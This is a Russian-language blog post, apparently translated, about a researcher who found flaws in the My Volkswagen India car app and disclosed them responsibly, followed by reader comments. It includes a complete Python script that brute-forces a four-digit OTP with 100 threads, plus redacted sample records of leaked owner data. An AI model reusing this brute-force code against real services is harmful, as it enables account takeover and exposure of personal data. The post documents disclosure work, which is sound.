Покупка подержанного автомобиля кажется простой — платишь деньги, получаешь ключи, включаешь любимый плейлист и уезжаешь. Однако в эпоху, когда всё связано с интернетом, «владение» машиной выходит далеко за пределы водительского кресла.

В 2024 году я купил подержанный автомобиль. Будучи техно-энтузиастом, я с нетерпением ждал возможности по достоинству оценить его функции. Как только я припарковал свой автомобиль, я установил на телефон приложение My Volkswagen (ŠKODA Auto Volkswagen India Pvt Ltd). Во время настройки приложение попросило ввести VIN-номер машины — легко, он был прямо на лобовом стекле. Затем приложение потребовало четырёхзначный OTP-код — я подумал, что получить этот код будет просто. Оказалось, что нет.

Был только один способ узнать это.

Процесс исследования (техническая веселуха)

Давно я не расчехлял свой верный Burp Suite.

Настроив Wi-Fi прокси на iPhone и установив CA-сертификат Burp, я отправил запрос с случайным OTP, чтобы увидеть, как всё работает (если хотите сделать это сами — посмотрите полный гайд).

Вскоре я уже мог просматривать все запросы, которые приложение отправляет в интернет. Перебирая эти запросы в поисках своего OTP, я обнаружил ещё несколько интересных вызовов API, о которых расскажу ниже.

Найдя нужный запрос, я попробовал подобрать значение поля OTP перебором, но бесплатная версия Burp оказалась слишком медленной для моего нетерпения.

В итоге я быстро накидал скрипт на Python,

import requests

from concurrent.futures import ThreadPoolExecutor, as_completed

# API endpoint

url = <REDACTED>

# Headers for the request

headers = {

    "Host": <REDACTED>,

    "Accept": "*/*",

    "Content-Type": "application/json",

    "Authorization": <REDACTED>

}

# Data template

data_template = {

    "brand": "VW",

    "installationID": <REDACTED>,

    "userID": <REDACTED>,

    "vehicleID": <REDACTED>,

    "otp": "5555"  # OTP placeholder

}

# Function to send a single request

def send_request(otp):

    otp_str = f"{otp:04}"  # Format OTP as 4 digits

    data = data_template.copy()

    data["otp"] = otp_str

    try:

        response = requests.post(url, json=data, headers=headers)

        result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}"

    except requests.exceptions.RequestException as e:

        result = f"OTP: {otp_str} | Error: {e}"

    return result

# Concurrent execution

def main():

    max_workers = 100  # Number of concurrent threads

    with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file:

        # Submit tasks for each OTP

        futures = {executor.submit(send_request, otp): otp for otp in range(10000)}

        for future in as_completed(futures):

            result = future.result()

            # Log to console for monitoring

            print(result)

            # Write result to file

            file.write(result + "\n")

if name == "__main__":

    main()

Спустя несколько секунд скрипт подобрал правильный OTP, и приложение наконец-то отобразило мою машину,


Наконец-то я получил доступ к своей машине! Но это заставило меня задуматься, какие ещё уязвимости могут быть в приложении? Я вернулся в Burp и изучил различные API-запросы, обнаружив несколько серьёзных проблем,

Вторая уязвимость 1. Утечка внутренних учётных данных в открытом виде.

Один из API-эндпоинтов раскрывал пароли, токены и имена пользователей для различных внутренних сервисов в открытом виде. Включая внутренние приложения, данные для обработки платежей и даже инструменты CRM вроде Salesforce.

Уязвимость 2. Персональные данные владельца раскрыты через VIN.

Ещё один API-эндпоинт раскрывал все сервисные и гарантийные пакеты, когда-либо приобретённые для автомобиля, доступ к которым можно было получить, зная только VIN номер.

Каждая запись о сервисном пакете содержала обширную информацию о клиенте, включая имена, номера телефонов, почтовые адреса, адреса электронной почты, информацию об автомобиле (модель, цвет, регистрационный номер, номер шасси, номер двигателя), активные сервисные контракты, даты покупок и суммы платежей, а также другие детали.

Пример записи, показывающей данные, доступные через этот эндпоинт:

  {

      "old": {

        "VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW": {

          "CONTRACT_ID": <REDACTED>,

          "PRODUCT_NAME": <REDACTED>,

          "PRODUCT_DESC": <REDACTED>,

          "PAYMENT_STATUS": null,

          "PRODUCT_ID": <REDACTED>,

          "MST_VAS_TYPE_ID": <REDACTED>,

          "PLAN_ID": <REDACTED>,

          "INVOICE_NUMBER": <REDACTED>,

          "DEALER_ID": <REDACTED>,

          "DATE_OF_SALE": <REDACTED>,

          "SELLER_ID": null,

          "SELLER_TYPE": <REDACTED>,

          "SOLD_BY": null,

          "SOLD_TYPE": <REDACTED>,

          "VALID_FROM_DATE": <REDACTED>,

          "VALID_TILL_DATE": <REDACTED>,

          "VALID_TILL_DISTANCE": null,

          "IS_OWNERSHIP_CHANGED": null,

          "STATUS": <REDACTED>,

          "GENERAL_COMMENTS": null,

          "IS_SHORTCLOSED": null,

          "SHORTCLOSED_ON": null,

          "SHORTCLOSED_COMMENTS": null,

          "VIN": <REDACTED>,

          "ENGINE_NUMBER": <REDACTED>,

          "CHASSIS_NUMBER": <REDACTED>,

          "REGD_NUMBER": <REDACTED>,

          "ORDER_FROM": null,

          "CURRENT_KM": null,

          "MODEL": <REDACTED>,

          "VARIANT": <REDACTED>,

          "COLOR": null,

          "SHADE": null,

          "PUR_CITY": null,

          "REGD_CITY": null,

          "REGD_OWNER": <REDACTED>,

          "USER_NAME": null,

          "MOBILE": <REDACTED>,

          "FAX": null,

          "PHONE": null,

          "EMAIL": <REDACTED>,

          "ADDRESS_LINE1": <REDACTED>,

          "ADDRESS_LINE2": null,

          "CITY": <REDACTED>,

          "PINCODE": <REDACTED>,

          "CREATED_ON": <REDACTED>,

          "CREATED_BY": <REDACTED>,

          "MODIFIED_ON": <REDACTED>,

          "MODIFIED_BY": <REDACTED>,

          "PARTS_MRP": <REDACTED>,

          "LABOR_COST": <REDACTED>,

          "SWACH_BHARAT_CESS": null,

          "KRISHI_KALYAN_CESS": null,

          "SERVICETAX": null,

          "SWACH_BHARAT_CESS_PERCENTAGE": null,

          "KRISHI_KALYAN_CESS_PERCENTAGE": null,

          "SERVICETAX_PERCENTAGE": null,

          "CUSTOMER_GSTIN": null,

          "CUSTOMER_GSTIN_AVAILABLE": null,

          "SGST": <REDACTED>,

          "IGST": <REDACTED>,

          "CGST": <REDACTED>,

          "CESS": <REDACTED>,

          "GSTIN": null,

          "SGST_PERCENTAGE": <REDACTED>,

          "CGST_PERCENTAGE": <REDACTED>,

          "IGST_PERCENTAGE": <REDACTED>,

          "CESS_PERCENTAGE": <REDACTED>,

          "STATE_NUM": <REDACTED>,

          "RELATED_CONTRACT_ID": <REDACTED>,

          "FUEL_TYPE": <REDACTED>,

          "ODOMETER_READING": <REDACTED>,

          "CONTRACT_STATUS": <REDACTED>,

          "CERTIFICATE_NUMBER": null,

          "MODEL_CODE": null,

          "SCORE": null,

          "UPLOAD_FILES": null,

          "CREDIT_INVOICE_NUMBER": null,

          "CREDIT_CREATED_ON": null,

          "MODEL_YEAR": <REDACTED>,

          "BRAND": <REDACTED>,

          "EW_NUMBER": null,

          "TYPE_OF_CONTRACT": <REDACTED>,

          "COST_BEFORE_DEALER_DISCOUNT": null,

          "DEALER_DISCOUNT_TYPE": null,

          "DEALER_DISCOUNT_VALUE": null,

          "COST_AFTER_DEALER_DISCOUNT": null,

          "IRN_NUMBER": null,

          "QR_CODE": null,

          "IS_IRN_CANCELLED": null,

          "DISS_K_QUERY_NO": null,

          "RO_NUMBER": null,

          "DIAGNOSTIC_PROTOCOL_ID": null,

          "DAN_NUMBER": null,

          "DAN_DATE": null,

          "CARPORT_FILE_GEN": <REDACTED>,

          "MODE_OF_PAYMENT": null,

          "PRICE": "0.00"

        }

      }

    }

Уязвимость 3. Доступ к истории обслуживания автомобиля по VIN.

Еще один эндпоинт раскрывал историю обслуживания и детали выполненных работ за все визиты в сервисный центр для любого автомобиля — опять же, доступ был возможен только по номеру VIN.

Для каждого визита в сервис была отдельная запись с подробностями проведенных работ, персональной информацией клиента и даже результатами анкетирования клиента по итогам каждого обращения!

Пример записи, демонстрирующей данные, доступные через этот эндпоинт.

{

      "attributes": {

        "type": <REDACTED>,

        "url": <REDACTED>

      },

      "Id": <REDACTED>,

      "CreatedDate": <REDACTED>,

      "VW_VIN__c": <REDACTED>,

      "VW_Registration_No__c": <REDACTED>,

      "RO_Closed_Date__c": <REDACTED>,

      "RO_Type__c": <REDACTED>,

      "Delivery_Date_Nadcon__c": <REDACTED>,

      "Mileage_Out__c": 27670,

      "Service_Dealer__c": <REDACTED>,

      "Customer_Voice__c": <REDACTED>,

      "Item_Amount__c": 9898.32,

      "Labor_Amount__c": 3812.66,

      "Amount__c": 13710.98,

      "Selling_Dealer_Code__c": <REDACTED>,

      "Post_Service_feedback_for_VW_HQ__c": false,

      "VW_Brand__c": <REDACTED>,

      "VW_RO_Number__c": <REDACTED>,

      "Repair_Order__c": <REDACTED>,

      "SA__c": <REDACTED>,

      "RecordTypeId": <REDACTED>,

      "Service_Dealer__r": {

        "attributes": {

          "type": <REDACTED>,

          "url": <REDACTED>

        },

        "Id": <REDACTED>,

        "Name": <REDACTED>

      },

      "Repair_Order__r": {

        "attributes": {

          "type": <REDACTED>,

          "url": <REDACTED>

        },

        "Id": <REDACTED>,

        "City__c": <REDACTED>,

        "Discount__c": <REDACTED>,

        "Discount_Amount__c": <REDACTED>,

        "Pincode__c": <REDACTED>,

        "State__c": <REDACTED>,

        "Total_GST__c": <REDACTED>,

        "address__c": <REDACTED>

      }

    }

  ],

  "Overall_customer_satisfaction_score": <REDACTED>,

  "Message": null,

  "Dealer_PSF_Question_rated_less_than_4_star": {

    "Will you need to revisit to a workshop because work carried-out incorrectly and/or incompletely in this visit.": No,

    "Was your last workshop visit due to incorrect work done in an earlier visit": "No"

  },

  "customerMasterData": {

    "attributes": {

      "type": <REDACTED>,

      "url": <REDACTED>

    },

    "Id": <REDACTED>,

    "VW_CustomerName__c": <REDACTED>,

    "VW_Primary_Email_ID__c": <REDACTED>,

    "VW_Address_Line_1__c": <REDACTED>,

    "Registered_Owner_Address__c": <REDACTED>,

    "VW_Active__c": true,

    "VW_DOB__c": <REDACTED>,

    "VW_Permanent_Mobile_Number__c": <REDACTED>

  }

Дополнительные API-эндпоинты раскрывали данные о телематике автомобиля, а в некоторых случаях даже номера "educationQualification" и "drivingLicense". Это свидетельствовало о серьёзном масштабе утечки данных клиентов.

Пример данных из одного такого эндпоинта:

{

  "isSuccessful": true,

  "messagecode": 200,

  "message": "Success",

  "userInfo": {

    "userID": <REDACTED>,

    "name": <REDACTED>,

    "primaryMailID": <REDACTED>,

    "secondaryMailID": <REDACTED>,

    "primaryContact": <REDACTED>,

    "secondaryContact": <REDACTED>,

    "emergencyContact": <REDACTED>,

    "familyType": <REDACTED>,

    "dob": <REDACTED>,

    "educationQualification": <REDACTED>,

    "communicationAddress": <REDACTED>,

    "otherCarDetail": <REDACTED>,

    "drivingLicence": <REDACTED>,

    "preferCommunicationModel": <REDACTED>

  },

  "loginDetails": {

    "loginVia": "Email",

    "otpVerifiedStatus": true

  },

  "notificationSettings": {

    "brandVoiceAlert": false,

    "serviceDueVoiceAlert": false,

    "insuranceVoiceAlert": false,

    "pucVoiceAlert": false,

    "brandAlert": false,

    "serviceDueAlert": false,

    "insuranceAlert": false,

    "pucAlert": false

  }

Итоги

Любой человек мог добавить ваш автомобиль и получить доступ ко всей доступной информации и функциям управления транспортным средством через приложение.

Утечка включала бы местоположение автомобиля, состояние двигателя, статистику по топливу, давление в шинах, управление геозонами и многое другое. Также все ваши личные данные, такие как адрес проживания, номер телефона, email, водительские права, история обслуживания, жалобы и проблемы с автомобилем, были бы доступны.

Почему это важно?

- Представьте, если такие данные попадут в руки преследователей или преступников? Они могли бы легко определить ваше текущее местоположение, домашний адрес, часто посещаемые места, номер телефона, email — и на этом список не заканчивается.

- А если мошенники? Они смогли бы притвориться сотрудниками дилерского центра или вашей страховой компании и пользоваться этими данными, чтобы быть максимально убедительными.

- Хакеры? Вся ваша личная информация могла бы оказаться на продаже в даркнете, а в будущем кто-то мог бы получить доступ к системам автомобиля.

И всё это — просто используя данные, которые можно увидеть через лобовое стекло вашего автомобиля!

Что произошло, когда я связался с Volkswagen? Скажу сразу: понадобилось терпение, соглашения о неразглашении и очень много кофе.

Отчёт и процесс раскрытия уязвимости

Впервые я сообщил о найденной уязвимости в службу безопасности Volkswagen 23 ноября 2024 года, приложив все доказательства, собранные во время тестирования.

Понадобилось время, чтобы найти правильный контакт для раскрытия информации о проблеме. В итоге я нашёл его в файле security.txt по адресу.

Команда Volkswagen быстро отреагировала, прислав подтверждение 27 ноября 2024 года, спустя четыре дня после моего первого письма.

В течение следующих трёх месяцев у нас была переписка, команда безопасности Volkswagen оставалась на связи и оперативно реагировала.

До определённого момента обновлений было мало — с технической точки зрения почти никаких подробностей не давали, и я не знал точной причины задержки с устранением проблемы.

Наконец, 3 апреля 2025 года команда предложила подписать NDA, чтобы они могли поделиться техническими деталями и внутренними планами по устранению уязвимости.

6 мая 2025 года я встретился со всеми заинтересованными сторонами Volkswagen для обсуждения окончательного решения и получил подтверждение, что уязвимости были исправлены.

Заключение

Хотя я не получил вознаграждения, мне досталось кое-что, возможно, даже более приятное — возможность помочь сделать реальный продукт чуть безопаснее.

Если вы исследователь в области безопасности, любознательный разработчик или просто человек, которому нравится разбираться в вещах (цифровым способом), не стоит недооценивать то, что можно обнаружить в повседневных технологиях, которые вы используете. Убедитесь, что сообщаете о находках правильно — и запаситесь терпением.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (5)


  1. Belkogoth
    23.05.2025 12:34

    Мдее, уж от кого, а от педантичных немцев такой подставы ожидать странно, тем более что от самого крупного автоконцерна Германии. В век https, ssl, aes настолько убого реализовать передачу.. В чем проблема-то всё заталкивать в шифрованный туннель с закрытым ключом? Индусы уже много денег просят, а еще дешевле погромистов попросту нет на планете?))) И это, пардон, пр-ль автомобилей. Сейчас копеечная камера умеет в облако полностью шифрованный траффик слать.

    Они так и на скандал нарваться могут, а за ним рынки свои уронить. Что не особо позитивно на фоне и без того неприятных для VW тенденций, их китайцы же со своего рынка и вытесняют помалу.


    1. INSTE
      23.05.2025 12:34

      В Германии вообще принято следовать правилам, и это принимает парадоксальные формы (для тех, кто не знаком с менталитетом). Если на сайте написать явно "запрещаем взламывать сайт или использовать его неочевидным образом", то и защиту приделывать не нужно - если его кто-то "взломает", то к нему просто можно с маски-шоу заходить и на 10 лет в кутузку - он же НАРУШИЛ ПРАВИЛО и опасный хакир.

      И это не шутка, год назад проскакивали скриншоты из devtools с сайта Берлинской миграционки, где просто через alert просили не использовать API сайта для создания ботов, потому что это плохо и нарушает правила пользования (и никакой другой защиты, разумеется, не было сделано).

      Также и с машиной. Она не ваша? Значит просто не добавляйте ее к себе в приложение, у вас же нет на это разрешения от владельца. И дело в шляпе.


    1. ildarz
      23.05.2025 12:34

      А причем тут шифрованные туннели? Баг , судя по тексту, был в том, что API для начала позволял зарегистрироваться тупым перебором OTP, а потом раскрывать данные, которые надо и не надо. Причем в переводе почему-то исчез кусок о том, что автор сначала пытался получить доступ легальным образом.


  1. outlingo
    23.05.2025 12:34

    от педантичных немцев

    Конечно

    ŠKODA Auto Volkswagen India Pvt Ltd

    Аутсорс, эффективный менеджмент - все как мы любим. Кстати - а откуда берутся анекдоты про индусский код? Уверен, их придумывают расисты и нацисты.


  1. Metotron0
    23.05.2025 12:34

    Всякий раз удивляюсь, как продвинулись автотехнологии. Давление в колёсах через приложение, удивительно. Для этих людей пожержанная машина явно моложе десяти лет.